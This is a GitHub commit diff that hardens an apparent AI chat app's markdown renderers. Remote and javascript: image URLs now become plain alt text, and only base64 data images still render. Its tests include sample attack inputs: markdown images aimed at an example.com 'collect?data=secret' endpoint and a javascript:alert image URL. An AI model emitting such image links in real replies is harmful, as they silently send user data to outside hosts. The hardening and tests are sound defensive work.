Skip to content

Commit 4bf902d

Browse files
obviyusobviyus
committed
fix: flatten remote markdown images
1 parent 53a7e3b commit 4bf902d

6 files changed

Lines changed: 133 additions & 19 deletions

File tree

‎apps/shared/OpenClawKit/Sources/OpenClawChatUI/ChatMarkdownPreprocessor.swift‎

Lines changed: 30 additions & 12 deletions
Original file line numberDiff line numberDiff line change
@@ -13,6 +13,8 @@ enum ChatMarkdownPreprocessor {
1313
"Chat history since last reply (untrusted, for context):",
1414
]
1515

16+
private static let markdownImagePattern = #"!\[([^\]]*)\]\(([^)]+)\)"#
17+
1618
struct InlineImage: Identifiable {
1719
let id = UUID()
1820
let label: String
@@ -27,8 +29,7 @@ enum ChatMarkdownPreprocessor {
2729
static func preprocess(markdown raw: String) -> Result {
2830
let withoutContextBlocks = self.stripInboundContextBlocks(raw)
2931
let withoutTimestamps = self.stripPrefixedTimestamps(withoutContextBlocks)
30-
let pattern = #"!\[([^\]]*)\]\((data:image\/[^;]+;base64,[^)]+)\)"#
31-
guard let re = try? NSRegularExpression(pattern: pattern) else {
32+
guard let re = try? NSRegularExpression(pattern: self.markdownImagePattern) else {
3233
return Result(cleaned: self.normalize(withoutTimestamps), images: [])
3334
}
3435

@@ -44,24 +45,41 @@ enum ChatMarkdownPreprocessor {
4445
for match in matches.reversed() {
4546
guard match.numberOfRanges >= 3 else { continue }
4647
let label = ns.substring(with: match.range(at: 1))
47-
let dataURL = ns.substring(with: match.range(at: 2))
48-
49-
let image: OpenClawPlatformImage? = {
50-
guard let comma = dataURL.firstIndex(of: ",") else { return nil }
51-
let b64 = String(dataURL[dataURL.index(after: comma)...])
52-
guard let data = Data(base64Encoded: b64) else { return nil }
53-
return OpenClawPlatformImage(data: data)
54-
}()
55-
images.append(InlineImage(label: label, image: image))
48+
let source = ns.substring(with: match.range(at: 2))
5649

5750
let start = cleaned.index(cleaned.startIndex, offsetBy: match.range.location)
5851
let end = cleaned.index(start, offsetBy: match.range.length)
59-
cleaned.replaceSubrange(start..<end, with: "")
52+
if let inlineImage = self.inlineImage(label: label, source: source) {
53+
images.append(inlineImage)
54+
cleaned.replaceSubrange(start..<end, with: "")
55+
} else {
56+
cleaned.replaceSubrange(start..<end, with: self.fallbackImageLabel(label))
57+
}
6058
}
6159

6260
return Result(cleaned: self.normalize(cleaned), images: images.reversed())
6361
}
6462

63+
private static func inlineImage(label: String, source: String) -> InlineImage? {
64+
let trimmed = source.trimmingCharacters(in: .whitespacesAndNewlines)
65+
guard let comma = trimmed.firstIndex(of: ","),
66+
trimmed[..<comma].range(
67+
of: #"^data:image\/[^;]+;base64$"#,
68+
options: [.regularExpression, .caseInsensitive]) != nil
69+
else {
70+
return nil
71+
}
72+
73+
let b64 = String(trimmed[trimmed.index(after: comma)...])
74+
let image = Data(base64Encoded: b64).flatMap(OpenClawPlatformImage.init(data:))
75+
return InlineImage(label: label, image: image)
76+
}
77+
78+
private static func fallbackImageLabel(_ label: String) -> String {
79+
let trimmed = label.trimmingCharacters(in: .whitespacesAndNewlines)
80+
return trimmed.isEmpty ? "image" : trimmed
81+
}
82+
6583
private static func stripInboundContextBlocks(_ raw: String) -> String {
6684
guard self.inboundContextHeaders.contains(where: raw.contains) else {
6785
return raw

‎apps/shared/OpenClawKit/Tests/OpenClawKitTests/ChatMarkdownPreprocessorTests.swift‎

Lines changed: 24 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -18,6 +18,30 @@ struct ChatMarkdownPreprocessorTests {
1818
#expect(result.images.first?.image != nil)
1919
}
2020

21+
@Test func flattensRemoteMarkdownImagesIntoText() {
22+
let base64 = "iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVQIHWP4////GQAJ+wP/2hN8NwAAAABJRU5ErkJggg=="
23+
let markdown = """
24+
![Leak](https://example.com/collect?x=1)
25+
26+
![Pixel](data:image/png;base64,\(base64))
27+
"""
28+
29+
let result = ChatMarkdownPreprocessor.preprocess(markdown: markdown)
30+
31+
#expect(result.cleaned == "Leak")
32+
#expect(result.images.count == 1)
33+
#expect(result.images.first?.image != nil)
34+
}
35+
36+
@Test func usesFallbackTextForUnlabeledRemoteMarkdownImages() {
37+
let markdown = "![](https://example.com/image.png)"
38+
39+
let result = ChatMarkdownPreprocessor.preprocess(markdown: markdown)
40+
41+
#expect(result.cleaned == "image")
42+
#expect(result.images.isEmpty)
43+
}
44+
2145
@Test func stripsInboundUntrustedContextBlocks() {
2246
let markdown = """
2347
Conversation info (untrusted metadata):

‎src/auto-reply/reply/export-html/template.js‎

Lines changed: 19 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1712,6 +1712,22 @@
17121712
return text.replace(/<(?=[a-zA-Z/])/g, "&lt;");
17131713
}
17141714

1715+
const INLINE_DATA_IMAGE_RE = /^data:image\/[a-z0-9.+-]+;base64,/i;
1716+
1717+
function normalizeMarkdownImageLabel(text) {
1718+
const trimmed = typeof text === "string" ? text.trim() : "";
1719+
return trimmed || "image";
1720+
}
1721+
1722+
function renderMarkdownImage(token) {
1723+
const label = normalizeMarkdownImageLabel(token?.text);
1724+
const href = typeof token?.href === "string" ? token.href.trim() : "";
1725+
if (!INLINE_DATA_IMAGE_RE.test(href)) {
1726+
return escapeHtml(label);
1727+
}
1728+
return `<img src="${escapeHtml(href)}" alt="${escapeHtml(label)}">`;
1729+
}
1730+
17151731
// Configure marked with syntax highlighting and HTML escaping for text
17161732
marked.use({
17171733
breaks: true,
@@ -1750,6 +1766,9 @@
17501766
html(token) {
17511767
return escapeHtml(token.text);
17521768
},
1769+
image(token) {
1770+
return renderMarkdownImage(token);
1771+
},
17531772
},
17541773
});
17551774

‎src/auto-reply/reply/export-html/template.security.test.ts‎

Lines changed: 34 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -250,4 +250,38 @@ describe("export html security hardening", () => {
250250
expect(img?.getAttribute("onerror")).toBeNull();
251251
expect(img?.getAttribute("src")).toBe("data:application/octet-stream;base64,AAAA");
252252
});
253+
254+
it("flattens remote markdown images but keeps data-image markdown", () => {
255+
const dataImage = "data:image/png;base64,AAAA";
256+
const session: SessionData = {
257+
header: { id: "session-4", timestamp: now() },
258+
entries: [
259+
{
260+
id: "1",
261+
parentId: null,
262+
timestamp: now(),
263+
type: "message",
264+
message: {
265+
role: "assistant",
266+
content: [
267+
{
268+
type: "text",
269+
text: `Leak:\n\n![exfil](https://example.com/collect?data=secret)\n\n![pixel](${dataImage})`,
270+
},
271+
],
272+
},
273+
},
274+
],
275+
leafId: "1",
276+
systemPrompt: "",
277+
tools: [],
278+
};
279+
280+
const { document } = renderTemplate(session);
281+
const messages = document.getElementById("messages");
282+
expect(messages).toBeTruthy();
283+
expect(messages?.querySelector('img[src^="https://"]')).toBeNull();
284+
expect(messages?.textContent).toContain("exfil");
285+
expect(messages?.querySelector(`img[src="${dataImage}"]`)).toBeTruthy();
286+
});
253287
});

‎ui/src/ui/markdown.test.ts‎

Lines changed: 12 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -30,11 +30,10 @@ describe("toSanitizedMarkdownHtml", () => {
3030
expect(html).toContain("console.log(1)");
3131
});
3232

33-
it("preserves img tags with src and alt from markdown images (#15437)", () => {
33+
it("flattens remote markdown images into alt text", () => {
3434
const html = toSanitizedMarkdownHtml("![Alt text](https://example.com/image.png)");
35-
expect(html).toContain("<img");
36-
expect(html).toContain('src="https://example.com/image.png"');
37-
expect(html).toContain('alt="Alt text"');
35+
expect(html).not.toContain("<img");
36+
expect(html).toContain("Alt text");
3837
});
3938

4039
it("preserves base64 data URI images (#15437)", () => {
@@ -43,11 +42,17 @@ describe("toSanitizedMarkdownHtml", () => {
4342
expect(html).toContain("data:image/png;base64,");
4443
});
4544

46-
it("strips javascript image urls", () => {
45+
it("flattens non-data markdown image urls", () => {
4746
const html = toSanitizedMarkdownHtml("![X](javascript:alert(1))");
48-
expect(html).toContain("<img");
47+
expect(html).not.toContain("<img");
4948
expect(html).not.toContain("javascript:");
50-
expect(html).not.toContain("src=");
49+
expect(html).toContain("X");
50+
});
51+
52+
it("uses a plain fallback label for unlabeled markdown images", () => {
53+
const html = toSanitizedMarkdownHtml("![](https://example.com/image.png)");
54+
expect(html).not.toContain("<img");
55+
expect(html).toContain("image");
5156
});
5257

5358
it("renders GFM markdown tables (#20410)", () => {

‎ui/src/ui/markdown.ts‎

Lines changed: 14 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -43,6 +43,7 @@ const MARKDOWN_CHAR_LIMIT = 140_000;
4343
const MARKDOWN_PARSE_LIMIT = 40_000;
4444
const MARKDOWN_CACHE_LIMIT = 200;
4545
const MARKDOWN_CACHE_MAX_CHARS = 50_000;
46+
const INLINE_DATA_IMAGE_RE = /^data:image\/[a-z0-9.+-]+;base64,/i;
4647
const markdownCache = new Map<string, string>();
4748

4849
function getCachedMarkdown(key: string): string | null {
@@ -137,6 +138,19 @@ export function toSanitizedMarkdownHtml(markdown: string): string {
137138
// pages) as formatted output is confusing UX (#13937).
138139
const htmlEscapeRenderer = new marked.Renderer();
139140
htmlEscapeRenderer.html = ({ text }: { text: string }) => escapeHtml(text);
141+
htmlEscapeRenderer.image = (token: { href?: string | null; text?: string | null }) => {
142+
const label = normalizeMarkdownImageLabel(token.text);
143+
const href = token.href?.trim() ?? "";
144+
if (!INLINE_DATA_IMAGE_RE.test(href)) {
145+
return escapeHtml(label);
146+
}
147+
return `<img src="${escapeHtml(href)}" alt="${escapeHtml(label)}">`;
148+
};
149+
150+
function normalizeMarkdownImageLabel(text?: string | null): string {
151+
const trimmed = text?.trim();
152+
return trimmed ? trimmed : "image";
153+
}
140154

141155
function escapeHtml(value: string): string {
142156
return value

0 commit comments

Comments
 (0)